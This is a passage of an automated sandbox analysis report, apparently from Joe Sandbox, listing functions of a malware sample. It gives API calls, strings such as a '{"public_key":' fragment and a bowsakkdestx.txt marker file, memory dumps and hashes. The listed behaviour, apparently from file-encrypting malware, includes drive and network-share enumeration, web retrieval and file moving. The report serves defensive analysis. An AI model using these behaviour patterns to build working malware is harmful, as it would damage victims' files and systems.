stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00F7E707

Part of subcall function 00F6C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 00F6C51B

InternetOpenW.WININET ref: 00F7E743
_wcsstr.LIBCMT ref: 00F7E7AE
_memmove.LIBCMT ref: 00F7E838
lstrcpyW.KERNEL32(?,?), ref: 00F7E90A
lstrcatW.KERNEL32(?,&first=false), ref: 00F7E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00F7E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00F7E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 00F7E9CD
InternetCloseHandle.WININET(00000000), ref: 00F7E9F3
InternetCloseHandle.WININET(00000000), ref: 00F7E9F6
_strstr.LIBCMT ref: 00F7EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7EA74
DeleteFileA.KERNEL32(?), ref: 00F7EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 00F7EA92
lstrcpyA.KERNEL32(?,?), ref: 00F7EAA4
lstrcpyA.KERNEL32(?,?), ref: 00F7EABA
lstrlenA.KERNEL32(?), ref: 00F7EAC8
lstrlenA.KERNEL32(00000022), ref: 00F7EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 00F7EB5B
lstrlenA.KERNEL32(?), ref: 00F7EB7C
_malloc.LIBCMT ref: 00F7EB86
_memset.LIBCMT ref: 00F7EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 00F7EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 00F7EBB6
_strstr.LIBCMT ref: 00F7EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7EC24
DeleteFileA.KERNEL32(?), ref: 00F7EC32

Strings

bowsakkdestx.txt, xrefs: 00F7EA67
{"public_key":", xrefs: 00F7EA2E

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: abeb108d15ce8953d4b8b6f7ca6c59be9e46606c29168f35195b80a2749e8905
Instruction ID: 405085205bc1d10f19d0ad84059836344c4aceeea8362b2c341e3282cc7d0476
Opcode Fuzzy Hash: abeb108d15ce8953d4b8b6f7ca6c59be9e46606c29168f35195b80a2749e8905
Instruction Fuzzy Hash: D4015231548385AAE730EE109C05BDF7BDDAF55744F14885AF9C892142EB789608D7A3

Function 00F71B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,00F7EE2F), ref: 00F71B1E
timeGetTime.WINMM(?,?,00F7EE2F), ref: 00F71B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F71B4C
DispatchMessageW.USER32(?), ref: 00F71B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F71B6A
Sleep.KERNEL32(00000064,?,?,00F7EE2F), ref: 00F71B72
timeGetTime.WINMM(?,?,00F7EE2F), ref: 00F71B78

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: 1edbf5f7057573a366539fb76f75d71e451e5e85de9e7a821f2d2b18c6aef48c
Instruction ID: 8ae9530c5dc3e311fd2add9d956b386349c6cb62669b94db895a4c9922d58364
Opcode Fuzzy Hash: 1edbf5f7057573a366539fb76f75d71e451e5e85de9e7a821f2d2b18c6aef48c
Instruction Fuzzy Hash: F001D832E40318A6EB309BE98D41FEDB36CBB48B50F544067F704B7080E675AA04CBE5

Function 00F6C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 00F6C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F6C539

Strings

bowsakkdestx.txt, xrefs: 00F6C52D

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 8da2fe123f75a5f1ac25633b6612889e2119b666e08b1ad84c7d28744c9e9f22
Instruction ID: 6ba75799fe84372b515528ae6c4ce49b4e2f0f3e31b2b22f43033aff8cd62219
Opcode Fuzzy Hash: 8da2fe123f75a5f1ac25633b6612889e2119b666e08b1ad84c7d28744c9e9f22
Instruction Fuzzy Hash: 43110AB3E8022832E93075696C47FEB735C9F42B21F4000A5FE8CD7142A56EAA5562E1

Function 00F7BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 00F7BAAD
ShowWindow.USER32(00000000,00000000), ref: 00F7BABE
UpdateWindow.USER32(00000000), ref: 00F7BAC5

Strings

LPCWSTRszWindowClass, xrefs: 00F7BAA0
LPCWSTRszTitle, xrefs: 00F7BA9B

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: b25af83ea9eb8f894102e667b78e2c00df5e3c53298374d7103a445011f2227f
Instruction ID: 825501db318409bcfb8c5e36b868ebcb99a7e9313d50e6a62116ea381eb38359
Opcode Fuzzy Hash: b25af83ea9eb8f894102e667b78e2c00df5e3c53298374d7103a445011f2227f
Instruction Fuzzy Hash: 40E04F31A8172077F2315A147D0BF9A2518F701F10F30400AFA847D2C8C6EA69428BDC

Function 00F70BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00F70C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00F70C39
_memset.LIBCMT ref: 00F70C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00F70C63

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 27f6189d7a7a2fb96619f419c8d4a06f83cdfb209422b153ee2d206d8922a610
Instruction ID: 032bac571411308e7f4c03bf37eed475070b58c01c45386b58a1093845e29724
Opcode Fuzzy Hash: 27f6189d7a7a2fb96619f419c8d4a06f83cdfb209422b153ee2d206d8922a610
Instruction Fuzzy Hash: FE918A75A08341CFD728DF68C891B6BB7E1FF88714F14891EF48A87281EB74A940DB52

Function 00F70A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00F70A75
SetErrorMode.KERNEL32(00000001,01060234,00000002), ref: 00F70AE2
PathFileExistsA.SHLWAPI(?), ref: 00F70AF9
SetErrorMode.KERNEL32(00000000), ref: 00F70B02
GetDriveTypeA.KERNEL32(?), ref: 00F70B1B

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 7da946f768dc87b654c1ee65323143a3fe2bb3fb9e37a338fcbc7fe0989e922c
Instruction ID: 30ec2f387f3615472f35e13acde9f4f6f150397a9b69a81e5bb364be7b5910b7
Opcode Fuzzy Hash: 7da946f768dc87b654c1ee65323143a3fe2bb3fb9e37a338fcbc7fe0989e922c
Instruction Fuzzy Hash: 2A41CF71508340DFD720DF68C885B5FBBE4AF89728F500A2DF48996291DBBAD604CB93

Function 00F7B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00F7B1BA

Part of subcall function 00F711C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 00F7120F
Part of subcall function 00F711C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00F71228
Part of subcall function 00F711C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00F7123D
Part of subcall function 00F711C0: MoveFileW.KERNEL32(00000000,?), ref: 00F71277

Part of subcall function 00F7BA10: LoadCursorW.USER32(00000000,00007F00), ref: 00F7BA4A
Part of subcall function 00F7BA10: RegisterClassExW.USER32(00000030), ref: 00F7BA73

Part of subcall function 00F7BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 00F7BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F7B4B3
TranslateMessage.USER32(?), ref: 00F7B4CD
DispatchMessageW.USER32(?), ref: 00F7B4D7

Strings

%username%, xrefs: 00F7B283
I:\5d2860c89d774.jpg, xrefs: 00F7B32F

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 0a130ac7ed16e77d90b3efc67fd4353edfdd6407e8addd84467e83e902393454
Instruction ID: 34518147c833cc80589ff30b6be76e8656a28c41216a00f40f5ac00ee0b93617
Opcode Fuzzy Hash: 0a130ac7ed16e77d90b3efc67fd4353edfdd6407e8addd84467e83e902393454
Instruction Fuzzy Hash: BB5124315142445BC658FF60DC52AEEB7A8BF94344F40C82EF48E43152EF389609EB93

Function 00F83B4C Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00F83B64

Part of subcall function 00F80C62: __FF_MSGBANNER.LIBCMT ref: 00F80C79
Part of subcall function 00F80C62: __NMSG_WRITE.LIBCMT ref: 00F80C80
Part of subcall function 00F80C62: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,00000000,00000000,?,00F88CF4,00000000,00000000,00000000,00000000,?,00F88BE1,00000018,01067BD0), ref: 00F80CA5

std::exception::exception.LIBCMT ref: 00F83B82
__CxxThrowException@8.LIBCMT ref: 00F83B97

Part of subcall function 00F90ECA: RaiseException.KERNEL32(?,?,00FAF26B,?,?,00000000,?,?,?,?,00FAF26B,?,010681FC,?), ref: 00F90F1F

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID:
API String ID: 3074076210-0
Opcode ID: 5e1b8ab2e64abbdf614447f84aa55f6ea768ac3eb47cf81f8e6bba754546f3aa
Instruction ID: d7dd473dfe6f495cbf0721ad6e754a8af67dc92b7548d9194a566fbea243fd10
Opcode Fuzzy Hash: 5e1b8ab2e64abbdf614447f84aa55f6ea768ac3eb47cf81f8e6bba754546f3aa
Instruction Fuzzy Hash: B0F0F47150022E66CF04BA98DC42EDE77ECAF01760F104456FC5496192DFB09A44A3D0

Function 00FB4C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FB4AE0: GetStdHandle.KERNEL32(000000F4,00FB4C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,00FB480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00FB1D37,00000000,00F6CDAE,00000001,00000001), ref: 00FB4AFA
Part of subcall function 00FB4AE0: GetFileType.KERNEL32(00000000), ref: 00FB4B05
Part of subcall function 00FB4AE0: __vfwprintf_p.LIBCMT ref: 00FB4B27

_raise.LIBCMT ref: 00FB4C18

Part of subcall function 00F8A12E: __getptd_noexit.LIBCMT ref: 00F8A16B

Part of subcall function 00F87CEC: _doexit.LIBCMT ref: 00F87CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00FB4C0C

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: 3c07f73678330b975bf3e72674e0a834fee4cd7ec4e5f62940dff08dcf6f7c62
Instruction ID: bacdaf5dec2ebb83c708c26479e7dc09753d8f99dea7dbbd4ae9f5bed9e83248
Opcode Fuzzy Hash: 3c07f73678330b975bf3e72674e0a834fee4cd7ec4e5f62940dff08dcf6f7c62
Instruction Fuzzy Hash: EDD05E791882007FE9013B90DC07A4A7A55FF84714F408418F2AE14062D77AD120BB17

Function 00F6FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 00F6FF4D
_wcsstr.LIBCMT ref: 00F6FF7E
_wcsstr.LIBCMT ref: 00F6FFC4
_wcsstr.LIBCMT ref: 00F6FFEF
_wcsstr.LIBCMT ref: 00F7001C
FindNextFileW.KERNEL32(?,?), ref: 00F7005A
FindClose.KERNEL32(?), ref: 00F7006C

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: ef5812f5c2cb03ea12417d892f5b7e65451243a761f1c6d33c8faeb887f587ae
Instruction ID: d7834596b0b77f33f90cf47f56dfe0c6652a4bf56c969903f939e959ca45928c
Opcode Fuzzy Hash: ef5812f5c2cb03ea12417d892f5b7e65451243a761f1c6d33c8faeb887f587ae
Instruction Fuzzy Hash: AB51D071D00219DAEF20EF60DC457DEB7B5BF21318F0441AAD40DA7251EB76AA88EF52

Function 00F718C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F718DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00F718E9

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 0eb9c8c9e086de457286c0209f2ec9e3f86c22b0381604f9007f6959617214d4
Instruction ID: aacbed03cfa60c6f32c8dd990d77170325c14dbf7fd1532cf9322a5835133460
Opcode Fuzzy Hash: 0eb9c8c9e086de457286c0209f2ec9e3f86c22b0381604f9007f6959617214d4
Instruction Fuzzy Hash: 58E08636E005049BD7308E9CE98079DF374F789B30F30436AE95D732C047352D099A85

Function 00F76950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00F769DF

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: af7957da9cf962e45364c2d23102a5e28fa9a0b60114159440732b99abd752a9
Instruction ID: d092fb1aa9881e15ffb3a4ba337919ed2a5c182908304ff7b0f0194a18503897
Opcode Fuzzy Hash: af7957da9cf962e45364c2d23102a5e28fa9a0b60114159440732b99abd752a9
Instruction Fuzzy Hash: 5F31E8B1E00A06DFDB20DF68C88166EB7F9EB45720F20823EE459D7740DB349D049792

Function 00F7FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 00F7FA25

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 089d6889beab09a3128890ae3885ed7220e051c4a26208cb39ba643554b8630a
Instruction ID: ee02b9a897248b0cb9a24d1c60967a9fabb6862bead6f568bc56ca2a26409f21
